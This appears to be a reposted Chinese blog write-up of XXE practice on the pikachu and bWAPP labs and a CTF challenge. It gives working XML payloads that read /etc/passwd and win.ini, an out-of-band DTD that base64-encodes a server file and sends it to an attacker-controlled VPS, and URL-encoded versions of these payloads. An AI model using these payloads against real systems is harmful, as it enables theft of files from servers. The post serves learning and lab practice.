CSB ----> XXE靶场记

news2025/2/24 8:06:55

小记:XXE的靶场

1.XXE的触发基本条件

想要触发XXE靶场,必须满足以下的条件

  1. 网站开启了外部实体解析
  2. libxml<2.9.0 版本 默认开启了外部实体解析:默认开启了外部实体解析
  3. 网站管理员开启了外部实体解析(不过这个一般不太可能)
  4. 设置libxml_disable_entity_loader对应的值为False

对于XXE漏洞,其实只要将外部实体解析关掉就好,就可以杜绝

2.XXE能造成的危害

  1. 可以造成DOS攻击,耗尽服务器的资源(只需要一个简单的递归即可)
  2. 导致任意文件被读取
  3. 被攻击者进行内网探测
  4. 会导致RCE但是需要扩展except的模块,这个一般难以执行

                

3.有回显&&无回显对应的POC

1.有回显

先讲一下最简单的有回显的类型(在现实生活中一般不太可能) 

其对应的poc如下,这是一个探针,如果能回显到“你今天真好看”这样的字段,那么漏洞存在

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "你今天真好看" > ]> 
<foo>&xxe;</foo>

那就可以进行如下的poc,如果是Windows的服务器就可以读取到它的win.ini

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

如果是Linux的服务器,就要如下的poc,就能读取到/etc/passwd的内容

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

于是,这就是有回显的操作

 然后就是没有回显的操作,对于没有回显,我们就要采用类似于盲注的手段

2.带外通道OOB(Out-of-band)

首先你得有一台VPS,然后再上面部署一个这样的文件,我把它命名为xxe.dtd了

其中这里的base64编码是防止文件中存在存在< &这样的字符导致读取失败

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///对于服务器下的敏感文件">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://你VPS的公网ip?c=%file;'>">

然后,你就要在存XXE的地方发送一个这个

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://你的公网ip/xxe.dtd">
%remote;%int;%send;
]>

然后就会有这样的一个执行的效果

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.3.78:443/xxe.dtd">
%remote;

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.3.78:443?c=%file;'>">


%int;

"<!ENTITY &#37; send SYSTEM 'http://192.168.3.78:443?c=1%file;'>"

%send;

"<!ENTITY &#37; send SYSTEM 'http://192.168.3.78:443?c=c:\test.txt;'>"

]>

最后就能在VPS上看见这样的记录

4.pikachu靶场

1.有回显

首先可以先观察他的数据包,可以看见accept那里是可以接受xml的

于是就要尝试xml的注入,但是你直接发送是存在问题的

看见这个content_type咩有,他是对传参编码了的!!!所以我们要先url编码poc如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

url编码如下

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%20%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%66%6f%6f%20%5b%0a%3c%21%45%4e%54%49%54%59%20%20%78%78%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%63%3a%2f%77%69%6e%64%6f%77%73%2f%77%69%6e%2e%69%6e%69%22%20%3e%0a%5d%3e%0a%3c%66%6f%6f%3e%26%78%78%65%3b%3c%2f%66%6f%6f%3e

这样就能成功得到对应主机的win.ini文件

2.无回显

这里的无回显需要自己手动去设置,把对应的xxe_1.php里面的echo给注释掉

这样就变成没有回显的了,于是就开始我们的OOB!! 先去服务器上部署一个文件

我在c盘下面放了一个test.txt的文件,里面的内容如下

然后去部署我的VPS,其中他的ip是192.168.3.78 (实际上这里应该是一个公网的ip)

 我先部署这样的一个文件(这个文件必须在你一会开启服务的目录下!!!

然后在kali的相同目录下中运行

python3 -m http.server 443

然后只需要在本地上传这样一个poc

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.3.78:443/xxe.dtd">
%remote;%int;%send;
]>

URL编码后的结果
%3c%21%44%4f%43%54%59%50%45%20%63%6f%6e%76%65%72%74%20%5b%0a%3c%21%45%4e%54%49%54%59%20%25%20%72%65%6d%6f%74%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%2e%37%38%3a%34%34%33%2f%78%78%65%2e%64%74%64%22%3e%0a%25%72%65%6d%6f%74%65%3b%25%69%6e%74%3b%25%73%65%6e%64%3b%0a%5d%3e%0a

 通过这样,就把他的文件内容外带出来了!!!

 芜湖,成功外带 

5.CTF ---> XXE

对应的网址是这个     http://web.jarvisoj.com:9882/ 

可以看他的accept是 */*  

所以我们只需要将它的Content-Type 改成application/xml就好了!!! 

试一下Windows的poc,发现不行,那就试一下Linux的poc

可以意外的发现有一个ctf 而且它的路径就在 /home/ctf这里 于是就可以去访问试试!!!

但是你直接访问/home/ctf 是没有用的,因为你只有访问一个文件才有用,而不是访问文件夹,

那就盲猜flag是在flag.txt里面咯!!!

成功拿到flag!!!

CTF{XxE_15_n0T_S7range_Enough}

6.BWAPP靶场

这个靶场有点奇怪,不知道是不是我的配置不当还是什么

首先是可以看见是这样的一个靶场的,然后可以在点击any bugs 的时候去抓包

能看见accept那里是 */* 而且content_type 也存在xml,最重要是它的内容,xml注入没跑了

于是构造poc:发现是存在XXE的

但是接下来我的靶场就和大部分的人的都不同了

不是我的请求记录呢???

我就发现了我连我自己Windows上的win.ini都访问不了!!!! 

但是网上说这步是可以的,应该是我的靶场问题

          

总结:

寻找xxe的方法其实就是看以下的几点

  1. 提交方式是不是post
  2. 其中的accept的类型
  3. 其中的content_type是不是xml类型,不是的话可不可以改动
  4. 带有非常明显的xml标签的,即自定义的标签

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1465793.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

android 15

https://android-developers.googleblog.com/2024/02/first-developer-preview-android15.html android 15的预览版出了&#xff0c;这个版本的发布计划大概是这样的&#xff08;大约是今年8月发布最终版本&#xff09; https://developer.android.com/about/versions/15/over…

vue3中使用vuedraggable实现拖拽el-tree数据进分组

看效果&#xff1a; 可以实现单个拖拽、双击添加、按住ctrl键实现多个添加&#xff0c;或者按住shift键实现范围添加&#xff0c;添加到框中的数据&#xff0c;还能拖拽排序 先安装 vuedraggable 这是他的官网 vue.draggable中文文档 - itxst.com npm i vuedraggable -S 直接…

Kubernetes安装nginx-controller作为统一网关

nginx-controller是什么呢? 它是一个能调度nginx的一个kubernetes operator,它能监听用户创建,更新,删除NginxConf对象,来调度本地的nginx实现配置的动态更新。如添加新的代理(http,https,tcp,udp),缓存(浏览器缓存,本地缓存),ssl证书(配置本身,ConfigMap,Secret),更新,删除等…

Js的 Promise的 then catch 笔记240222

Js的 Promise的 then catch 笔记240222 基本用法 new Promise(f>{setTimeout(ev>{f("一秒后输出控制台");},1000); }).then(f的参数>{console.log(f的参数); }); // 控制台输出: 一秒后输出控制台上面代码中, f 的标准名叫做 resolve , 所以应该写成 new …

开发Chrome插件,background.js中log打印未出现在控制台

不同于内容脚本&#xff08;通常命名content.js&#xff09;&#xff0c;在后台脚本&#xff08;通常命名background.js或service-worker.js&#xff09;中console.log并不会在控制台中直接显示。 要查看后台脚本上下文的正确控制台&#xff0c;执行如下步骤&#xff1a; 访问…

【Python笔记-设计模式】原型模式

一、说明 原型模式是一种创建型设计模式&#xff0c; 用于创建重复的对象&#xff0c;同时又能保证性能。 使一个原型实例指定了要创建的对象的种类&#xff0c;并且通过拷贝这个原型来创建新的对象。 (一) 解决问题 主要解决了对象的创建与复制过程中的性能问题。主要针对…

有哪些适合程序员的副业?

如果你经常玩知乎、看公众号&#xff08;软件、工具、互联网这几类的&#xff09;你就会发现&#xff0c;好多资源连接都变成了夸克网盘、迅雷网盘的资源链接。 例如&#xff1a;天涯神贴&#xff0c;基本上全是夸克、UC、迅雷网盘的资源链接。 有资源的前提下&#xff0c;迅雷…

QT_day4

1.思维导图 2. 输入闹钟时间格式是小时:分钟 widget.cpp #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);id startTimer(1000);flag1;speecher new QTextT…

基础数据结构和算法《》

递归 1.递归应该一种比较常见的实现一些特殊代码逻辑时需要做的&#xff0c;但常常也是最绕的一种方式&#xff0c;在解释递归 之前&#xff0c;我们用循环和递归来做个比较1.1.如果你打开一扇门后&#xff0c;同样发现前方也有一扇们&#xff0c;紧接着你又打开下一扇门...直…

应用回归分析:泊松回归

泊松回归是一种广泛用于计数数据的回归分析方法。它适用于响应变量是非负整数的情况&#xff0c;特别是当这些计数呈现出明显的离散分布时。泊松回归通过泊松分布的概率分布函数来建模计数数据&#xff0c;使其成为处理计数数据的自然选择。本文将介绍泊松回归的基本概念、应用…

石头剪刀布游戏(C语言)

题目描述 石头剪刀布游戏有 3 种出拳形状&#xff1a;石头、剪刀、布。分别用字母 A , B , C 表示。 游戏规则: 出拳形状之间的胜负规则如下&#xff1a; A > B&#xff1b;B > C&#xff1b;C > A&#xff1b;">"左边一个字母&#xff0c;表示相对优…

进程线程通信-day6

1、将信号和消息队列的课堂代码敲一遍 //发送端 #include<myhead.h>//定义一个消息结构类型 struct msgbuf {long mtype;char mtext[1024]; }; //定义一个宏&#xff0c;表示消息正文大小 #define MSGSIZE sizeof(struct msgbuf)-sizeof(long)int main(int argc, const…

PBM模型学习

本专栏着重讲解PBM学习所得&#xff0c;学习笔记、心得&#xff0c;并附有视频素材资料&#xff0c;视频详细目录如下&#xff1a; PBM相关参数解释1 PBM相关参数解释2 PBM相关案例实践1 PBM相关案例实践2 PBM相关案例实践2 PBM相关案例实践3 PBM多相流中次相界面设置1 PBM多相…

Kotlin 进阶 学习 委托

1.接口委托 package com.jmj.jetpackcomposecompositionlocal.byStudy/*** 接口委托*/ interface HomeDao{fun getAllData():List<String> }interface ADao{fun getById(id:Int):String }class HomeDaoImpl:HomeDao{override fun getAllData(): List<String> {ret…

MATLAB中的稀疏矩阵和密集矩阵

在MATLAB中&#xff0c;矩阵可以表示为密集或稀疏格式。通常&#xff0c;矩阵默认以密集格式存储&#xff0c;这意味着每个元素都明确地存储在内存中&#xff0c;无论它的值是多少。然而&#xff0c;当矩阵含有大量的零元素时&#xff0c;这种存储方式就会变得非常低效。为了更…

iOS整理 - 关于直播 - 搭建服务端

前言 其实本人一直都想自己简单做一套直播&#xff08;包括移动端和服务端&#xff09;的开发测试&#xff0c;但是之前一直做得比较迷茫。最近偶然间在来了灵感&#xff0c;瞬间解除了我很多疑惑。我会分享出来&#xff0c;希望大家一起研究下。稍后&#xff0c;我完整做好了…

ZS Associates致盛咨询是什么公司?排名怎么样?

随着商业化时代的加速演进&#xff0c;咨询公司在企业发展中的“智囊团”角色愈发突显。对于医药企业来说&#xff0c;一个优秀的咨询团队不仅可以帮助推动整体战略转型及内部改革&#xff0c;还对药品研发、营销起到优化促进作用。 那什么样的咨询企业可称之为优秀的咨询企业…

关于msvcr120.dll丢失怎样修复的详细解决步骤方法分享,msvcr120.dll文件的相关内容

在电脑使用过程中&#xff0c;我们经常遇到各种系统错误&#xff0c;其中msvcr120.dll丢失是一个常见问题。msvcr120.dll文件是Visual C Redistributable for Visual Studio 2015/2017的一个组件&#xff0c;主要用于支持某些应用程序的正常运行。当电脑出现msvcr120.dll丢失情…

SpringBoot项目启动报java.nio.charset.MalformedInputException Input length = 1解决方案

报错详情 SpringBoot启动报错java.nio.charset.MalformedInputException: Input length 1 报错原因 出现这个的原因&#xff0c;就是解析yml文件时&#xff0c;中文字符集不是utf-8的原因&#xff0c;这是maven在项目编译时&#xff0c;默认字符集编码是GBK。 解决方式 检…

多数pythoneer只知有列表list却不知道python也有array数组

数组和列表 Python中数组和列表是不同的&#xff0c;我敢断言大多数的pythoneer只知道有列表list&#xff0c;却不知道python也有array数组。列表是一个包含不同数据类型的元素集合&#xff0c;而数组是一个只能含相同数据类型的元素集合。 Python的array库是一个提供数组操作…